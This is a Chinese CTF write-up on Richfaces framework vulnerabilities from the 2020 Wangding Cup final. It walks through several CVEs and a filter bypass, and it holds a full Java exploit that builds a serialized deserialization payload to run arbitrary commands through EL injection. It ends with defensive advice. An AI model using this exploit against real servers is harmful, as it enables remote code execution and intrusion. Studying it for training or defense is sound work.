从2020网鼎杯决赛Vulnfaces回顾远古漏洞
字数 1832 2025-08-29 08:30:36

Richfaces 框架漏洞分析与利用教学文档

1. 背景介绍

Richfaces 是一个基于 JSF (JavaServer Faces) 和 AJAX 的 Web 应用程序框架,结合了 A4J (AJAX for JavaServer Faces) 技术。本文档将详细分析 Richfaces 框架中的多个安全漏洞及其利用方法。

2. 漏洞概览

文档中涉及的主要漏洞包括:

  1. ViewState 反序列化漏洞
  2. CVE-2013-2165
  3. CVE-2015-0279 (RF-13977)
  4. CVE-2018-14667
  5. RF-14310

3. ViewState 反序列化漏洞分析

3.1 ViewState 技术背景

  • HTTP 是无状态的协议
  • ViewState 是一种保存状态的技术
  • Java 经常通过序列化对象在 HTTP 请求中传输状态(参数、ViewState、Cookies等)

3.2 漏洞利用条件

  1. 使用客户端存储 ViewState
  2. 禁用加密方法

3.3 实际限制

题目环境配置使用服务端存储 ViewState,因此无法利用此漏洞。

4. CVE-2013-2165 漏洞分析

4.1 漏洞位置

org.ajax4jsf.resource.ResourceBuilderImpl#getResourceDataForKey 方法

4.2 漏洞触发条件

  • 当 key 以 "DATA" 开头时,会解密后反序列化数据

4.3 反序列化限制

使用 LookAheadObjectInputStream 类进行反序列化,只允许加载白名单中的类及其子类:

org.ajax4jsf.resource.InternetResource
org.ajax4jsf.resource.SerializableResource
javax.el.Expression
javax.faces.el.MethodBinding
javax.faces.component.StateHolderSaver
java.awt.Color
org.richfaces.renderkit.html.Paint2DResource$ImageData
org.richfaces.demo.paint2d.PaintData

5. CVE-2015-0279 (RF-13977) 漏洞分析

5.1 漏洞位置

org.richfaces.resource.MediaOutputResource

5.2 漏洞描述

允许任意 EL (Expression Language) 表达式执行

5.3 实际限制

题目环境中不存在此类,无法利用

6. CVE-2018-14667 漏洞分析

6.1 漏洞位置

UserResource

6.2 漏洞描述

允许任意 EL 表达式执行

6.3 实际限制

题目环境中的 UriData 继承自 Serializable,执行后会抛出未授权类异常,无法利用

7. RF-14310 漏洞分析与利用

7.1 漏洞描述

与 CVE-2015-0279 类似,允许任意 EL 表达式执行

7.2 漏洞利用链

  1. 使用 com.sun.facelets.el.LegacyMethodBinding 对象
  2. 绑定 com.sun.facelets.el.TagMethodExpression 对象
  3. 通过 com.sun.el.MethodExpressionImpl#invoke 执行恶意代码

7.3 过滤机制

org.richfaces.renderkit.html.Paint2DResource#send 方法中存在过滤:

  • 禁止字符:\, (
  • 禁止关键词:getClass

7.4 绕过方法

利用 org.jboss.seam.el.OptionalParameterMethodExpression 类的特性:

  1. getExpressionStringinvoke 都使用 this.withParam
  2. invoke 抛出 MethodNotFoundException 异常时,使用 this.withNoParam

7.5 利用步骤

  1. 构造正常的 MethodExpressionImplwithParam 通过检查
  2. 构造恶意的表达式给 withNoParam
  3. 通过添加空格强制抛出方法不存在的异常
  4. 使用 LegacyMethodBinding 封装

8. 完整利用代码

import com.sun.facelets.el.LegacyMethodBinding;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import javax.el.MethodExpression;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;

public class exp {
    public static void main(String[] args) throws Exception {
        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
        
        Class cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);

        // 1. 设置ImageData
        // 构造ImageData_paint
        MethodExpressionImpl methodExpression1 = new MethodExpressionImpl("#{request.toString }", null, null, null, null, new Class[]{OutputStream.class, Object.class});
        MethodExpressionImpl methodExpression2 = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        
        Constructor constructor = Class.forName("org.jboss.seam.el.OptionalParameterMethodExpression").getDeclaredConstructor(MethodExpression.class, MethodExpression.class);
        constructor.setAccessible(true);
        MethodExpression methodExpression = (MethodExpression) constructor.newInstance(methodExpression1, methodExpression2);
        MethodBinding methodBinding = new LegacyMethodBinding(methodExpression);
        Object _paint = ct.newInstance(null, methodBinding);

        Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
        Class innerClazz[] = clzz.getDeclaredClasses();
        for (Class c : innerClazz) {
            int mod = c.getModifiers();
            String modifier = Modifier.toString(mod);
            if (modifier.contains("private")) {
                Constructor cc = c.getDeclaredConstructor();
                cc.setAccessible(true);
                Object imageData = cc.newInstance(null);

                // 设置ImageData_width
                Field _widthField = imageData.getClass().getDeclaredField("_width");
                _widthField.setAccessible(true);
                _widthField.set(imageData, 300);

                // 设置ImageData_height
                Field _heightField = imageData.getClass().getDeclaredField("_height");
                _heightField.setAccessible(true);
                _heightField.set(imageData, 120);

                // 设置ImageData_data
                Field _dataField = imageData.getClass().getDeclaredField("_data");
                _dataField.setAccessible(true);
                _dataField.set(imageData, null);

                // 设置ImageData_format
                Field _formatField = imageData.getClass().getDeclaredField("_format");
                _formatField.setAccessible(true);
                _formatField.set(imageData, 2);

                // 设置ImageData_paint
                Field _paintField = imageData.getClass().getDeclaredField("_paint");
                _paintField.setAccessible(true);
                _paintField.set(imageData, _paint);

                // 设置ImageData_paint
                Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
                cacheableField.setAccessible(true);
                cacheableField.set(imageData, false);

                // 设置ImageData_bgColor
                Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
                _bgColorField.setAccessible(true);
                _bgColorField.set(imageData, 0);

                // 2. 序列化
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
                objectOutputStream.writeObject(imageData);
                objectOutputStream.flush();
                objectOutputStream.close();
                byteArrayOutputStream.close();

                // 3. 加密(zip+base64)
                byte[] pocData = byteArrayOutputStream.toByteArray();
                Deflater compressor = new Deflater(1);
                byte[] compressed = new byte[pocData.length + 100];
                compressor.setInput(pocData);
                compressor.finish();
                int totalOut = compressor.deflate(compressed);
                byte[] zipsrc = new byte[totalOut];
                System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
                compressor.end();
                byte[] dataArray = URL64Codec.encodeBase64(zipsrc);

                // 4. 打印最后的poc
                String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
                System.out.println(poc);
            }
        }
    }
}

9. 关键点总结

  1. 漏洞选择:必须选择符合环境版本和配置的漏洞
  2. 白名单绕过:利用白名单中允许的类构造利用链
  3. 异常处理机制:利用异常处理流程绕过过滤机制
  4. 反射技巧:通过反射访问非公开类和方法
  5. 序列化处理:正确处理序列化和加密过程

10. 防御建议

  1. 升级到最新版本的 Richfaces 框架
  2. 使用服务端存储 ViewState
  3. 启用 ViewState 加密
  4. 限制 EL 表达式的执行权限
  5. 实施严格的输入过滤和验证机制
Richfaces 框架漏洞分析与利用教学文档 1. 背景介绍 Richfaces 是一个基于 JSF (JavaServer Faces) 和 AJAX 的 Web 应用程序框架,结合了 A4J (AJAX for JavaServer Faces) 技术。本文档将详细分析 Richfaces 框架中的多个安全漏洞及其利用方法。 2. 漏洞概览 文档中涉及的主要漏洞包括: ViewState 反序列化漏洞 CVE-2013-2165 CVE-2015-0279 (RF-13977) CVE-2018-14667 RF-14310 3. ViewState 反序列化漏洞分析 3.1 ViewState 技术背景 HTTP 是无状态的协议 ViewState 是一种保存状态的技术 Java 经常通过序列化对象在 HTTP 请求中传输状态(参数、ViewState、Cookies等) 3.2 漏洞利用条件 使用客户端存储 ViewState 禁用加密方法 3.3 实际限制 题目环境配置使用服务端存储 ViewState,因此无法利用此漏洞。 4. CVE-2013-2165 漏洞分析 4.1 漏洞位置 org.ajax4jsf.resource.ResourceBuilderImpl#getResourceDataForKey 方法 4.2 漏洞触发条件 当 key 以 "DATA" 开头时,会解密后反序列化数据 4.3 反序列化限制 使用 LookAheadObjectInputStream 类进行反序列化,只允许加载白名单中的类及其子类: 5. CVE-2015-0279 (RF-13977) 漏洞分析 5.1 漏洞位置 org.richfaces.resource.MediaOutputResource 类 5.2 漏洞描述 允许任意 EL (Expression Language) 表达式执行 5.3 实际限制 题目环境中不存在此类,无法利用 6. CVE-2018-14667 漏洞分析 6.1 漏洞位置 UserResource 类 6.2 漏洞描述 允许任意 EL 表达式执行 6.3 实际限制 题目环境中的 UriData 继承自 Serializable ,执行后会抛出未授权类异常,无法利用 7. RF-14310 漏洞分析与利用 7.1 漏洞描述 与 CVE-2015-0279 类似,允许任意 EL 表达式执行 7.2 漏洞利用链 使用 com.sun.facelets.el.LegacyMethodBinding 对象 绑定 com.sun.facelets.el.TagMethodExpression 对象 通过 com.sun.el.MethodExpressionImpl#invoke 执行恶意代码 7.3 过滤机制 org.richfaces.renderkit.html.Paint2DResource#send 方法中存在过滤: 禁止字符: \ , ( 禁止关键词: getClass 7.4 绕过方法 利用 org.jboss.seam.el.OptionalParameterMethodExpression 类的特性: getExpressionString 和 invoke 都使用 this.withParam 当 invoke 抛出 MethodNotFoundException 异常时,使用 this.withNoParam 7.5 利用步骤 构造正常的 MethodExpressionImpl 给 withParam 通过检查 构造恶意的表达式给 withNoParam 通过添加空格强制抛出方法不存在的异常 使用 LegacyMethodBinding 封装 8. 完整利用代码 9. 关键点总结 漏洞选择 :必须选择符合环境版本和配置的漏洞 白名单绕过 :利用白名单中允许的类构造利用链 异常处理机制 :利用异常处理流程绕过过滤机制 反射技巧 :通过反射访问非公开类和方法 序列化处理 :正确处理序列化和加密过程 10. 防御建议 升级到最新版本的 Richfaces 框架 使用服务端存储 ViewState 启用 ViewState 加密 限制 EL 表达式的执行权限 实施严格的输入过滤和验证机制